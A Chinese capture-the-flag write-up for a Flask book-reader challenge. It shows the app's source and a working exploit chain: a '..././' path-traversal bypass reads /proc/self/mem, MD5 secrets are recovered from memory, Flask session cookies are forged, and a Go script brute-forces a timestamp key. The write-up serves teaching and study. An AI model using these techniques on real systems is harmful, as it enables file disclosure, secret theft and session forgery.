题目描述
- 可以阅读.txt书籍
漏洞点
因为是黑盒题,所以一个显然的方法就是寻找路径穿越去读文件,尝试../
之类的,发现只剩了./
,因此考虑..
被替换了,改一下就能任意文件读
任意文件读
常见敏感路径
接下来借助经典的两个目录/proc/self/environ
&& /proc/self/cmdline
来读更多信息,获取源代码
题目源码
/proc/self/cwd/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# -*- coding:utf8 -*-
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime
app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()
print('secret',app.secret_key)
print('key',key)
books = os.listdir('./books')
books.sort(reverse=True)
@app.route('/')
def index():
if session:
book = session['book']
page = session['page']
page_size = session['page_size']
total_pages = session['total_pages']
filepath = session['filepath']
words = read_file_page(filepath, page, page_size)
return render_template('index.html', books=books, words=words)
return render_template('index.html', books=books )
@app.route('/books', methods=['GET', 'POST'])
def book_page():
if request.args.get('book'):
book = request.args.get('book')
elif session:
book = session.get('book')
else:
return render_template('index.html', books=books, message='I need book')
book=book.replace('..','.')
filepath = './books/' + book
if request.args.get('page_size'):
page_size = int(request.args.get('page_size'))
elif session:
page_size = int(session.get('page_size'))
else:
page_size = 3000
total_pages = math.ceil(os.path.getsize(filepath) / page_size)
if request.args.get('page'):
page = int(request.args.get('page'))
elif session:
page = int(session.get('page'))
else:
page = 1
words = read_file_page(filepath, page, page_size)
prev_page = page - 1 if page > 1 else None
next_page = page + 1 if page < total_pages else None
session['book'] = book
session['page'] = page
session['page_size'] = page_size
session['total_pages'] = total_pages
session['prev_page'] = prev_page
session['next_page'] = next_page
session['filepath'] = filepath
return render_template('index.html', books=books, words=words )
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if hashlib.md5(session.get('key').encode()).hexdigest() == key:
return os.popen('/readflag').read()
else:
return "no no no"
def read_file_page(filename, page_number, page_size):
for i in range(3):
for j in range(3):
size=page_size + j
offset = (page_number - 1) * page_size+i
try:
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(size)
return words.decode().split('\n')
except Exception as e:
pass
#if error again
offset = (page_number - 1) * page_size
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(page_size)
return words.split(b'\n')
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8000')
/proc/self/cwd/app.py
1
2
3
4
bind = "0.0.0.0:8000"
timeout = 10
workers = 4
threads = 4
secret_key、key的随机性都很强,只能考虑读内存去找
/proc/self/maps
和/proc/self/mem
- 因为内存里有些区域不可读,所以需要利用/proc/self/maps去读段的起始地址和结束地址
- thread worker
- gunicorn是多进程的,每个进程里面开辟了多个线程来响应多个请求 这个在config.py里可以看到
- 本题会产生四个进程,因此每次读的
/proc/self/maps
会有细微的差别 - 四个进程会产生八个md5,因此每次读的内容不一样是正常的
- 读出内容后直接用正则寻找md5,本地测试发现md5前都有\x00,在响应里呈现为
\x00ba1f2511fc30423bdbb183fe33f3dd0f
- 因此考虑将x00作为前缀去找,避免正则经常找到一些00开头的md5
- 获取/flag需要获取时间戳 这一部分我在本地看了一下 这种临时变量在内存里找不到,因此考虑搜索时间相关的日期
- gunicorn在启动时,会打印消息
[2023-05-29 04:22:02 +0000] [11] [INFO] Booting worker with pid: 11
- 因此仍然考虑在内存中搜索相关内容,转成纳秒时间戳后,使用golang脚本去爆破
- 本地起docker,使用命令
gdb attach pid
上去后发现这段内容会在heap段中存在 因此该做法可行
- gunicorn在启动时,会打印消息
注意到我们读内存时,会有大量的不可见字符,words.decode().split('\n')
一定会报错,所以只要关注注释处后面的代码就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def read_file_page(filename, page_number, page_size):
for i in range(3):
for j in range(3):
size=page_size + j
offset = (page_number - 1) * page_size+i
try:
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(size)
return words.decode().split('\n')
except Exception as e:
pass
#if error again
offset = (page_number - 1) * page_size
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(page_size)
return words.split(b'\n')
我们的需求是
- 最好能够一次读完,不然时间开销很大,因此page_size要尽可能大
- page_size + offset 不要超过段结束地址 offset不要低于段起始地址,这里我写了一个函数去寻找max_page_size
- 对于不得不采用多个page的情况,则一页页去读
解题脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests,re,hashlib,os
from tqdm import tqdm
maps_url = f"http://god.cc:10003/books?book=..././..././..././..././..././..././proc/self/maps&page_size=111111"
r = requests.get(maps_url)
maps = re.findall("([a-z0-9]{8,}-[a-z0-9]{8,}) rw.*?00000000 00:00 0", r.text)
maps = maps[::-1]
# 获取大量cookie便于搜索对应的secret
def get_cookies():
ans = []
for i in range(32):
r = requests.get('http://god.cc:10003/books?book=1.txt')
ans.append(r.headers['Set-Cookie'].split(';')[0].split('=')[1])
return list(set(ans))
def check_secret(secret):
cookie = get_cookies()
for c in cookie:
data = os.popen(f"cd /Users/godspeed/Downloads/exploit/flask-session-cookie-manager && python3 flask_session_cookie_manager3.py decode -c '{c}' -s '{secret}'").read()
if 'Decoding error' not in data:
print(c, secret)
def check(page_number, page_size, start, end):
offset = (page_number - 1) * page_size
return offset >= start and offset <= end and offset + page_size <= end
def get_max_page_size(start, end):
page_size = end - start
while True:
if check((start ) // page_size + 1, page_size,start,end):
break
page_size -= 1
return page_size
def read(page_size, page_number):
try:
read_url = f'http://god.cc:10003/books?book=..././..././..././..././..././..././proc/self/mem&page_size={page_size}&page={page_number}'
data = requests.get(read_url,timeout=2).content
res1 = re.findall(b"x00([0-9a-f]{32})", data)
res2 = re.findall(b"(2023-05-29 [0-9]{2}:[0-9]{2}:[0-9]{2} \+0000)",data)
for x in res1:
check_secret(x.decode())
return set(res1 + res2)
except Exception as e:
print(e)
return set()
def get_fake_cookie(secret, timestamp):
d = "{'key': '%s'}" % timestamp
print(f'cd /Users/godspeed/Downloads/exploit/flask-session-cookie-manager && python3 flask_session_cookie_manager3.py encode -t "{d}" -s "{secret}"')
return os.popen(f'cd /Users/godspeed/Downloads/exploit/flask-session-cookie-manager && python3 flask_session_cookie_manager3.py encode -t "{d}" -s "{secret}"').read().strip()
def get_flag(secret, timestamp):
for i in range(100):
r = requests.get('http://god.cc:10003/flag',headers={'Cookie':'session=' + get_fake_cookie(secret=secret, timestamp=timestamp)})
if r.status_code == 200:
print(r.text)
break
ans = set()
if __name__ == "__main__":
for m in maps:
start, end = int(m.split("-")[0],16), int(m.split("-")[1],16)
print(f"[start]{hex(start)} [end]{hex(end)}")
page_size = get_max_page_size(start, end)
page_number = (start) // page_size + 1
now_page = page_number
bar = tqdm(total = (end - start)// page_size)
while check(now_page, page_size, start, end):
bar.update(1)
ans |= read(page_size,now_page)
now_page += 1
bar.close()
print(ans)
"""
.eJyrVkrKz89WslIy1CupKFHSUUrLzEktSCzJAArp6YPkivVhUnmpFSXxBYnpqUpWeaU5OTpKELYhhBFfnFkF5BkbGBgABYpSy1CUluSXJOaARYqBOmoB_cMnEQ.ZHQohg.YTX_aEE4RPuQcynWGJHsA-nxZ_s
secret: 88f98c7a0de2ca1df7239919457e01d6
1685334122820460046
9ea76cd3d0fde70b02495587fa685820
"""
# get_flag(secret='88f98c7a0de2ca1df7239919457e01d6', timestamp='1685334122820460046')
爆破时间戳
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package main
import (
"crypto/md5"
"encoding/hex"
"fmt"
"strconv"
)
func md5V(str string) string {
h := md5.New()
h.Write([]byte(str))
return hex.EncodeToString(h.Sum(nil))
}
func main() {
target := "96461deced5c2a487ddc65207ec5a9cf"
target1 := "9ea76cd3d0fde70b02495587fa685820"
// start := time.Now().UnixNano()
// 2023-05-29 04:22:02 UTC
start := int64(1685334122000000000)
cnt := 0
for {
if cnt > 10000000 && cnt%10000000 == 0 {
fmt.Println(cnt / 10000000)
}
cnt += 1
s := md5V(strconv.FormatInt(start, 10))
if s == target {
fmt.Println(start)
fmt.Println(s)
break
}
if s == target1 {
fmt.Println(start)
fmt.Println(s)
break
}
start += 1
}
}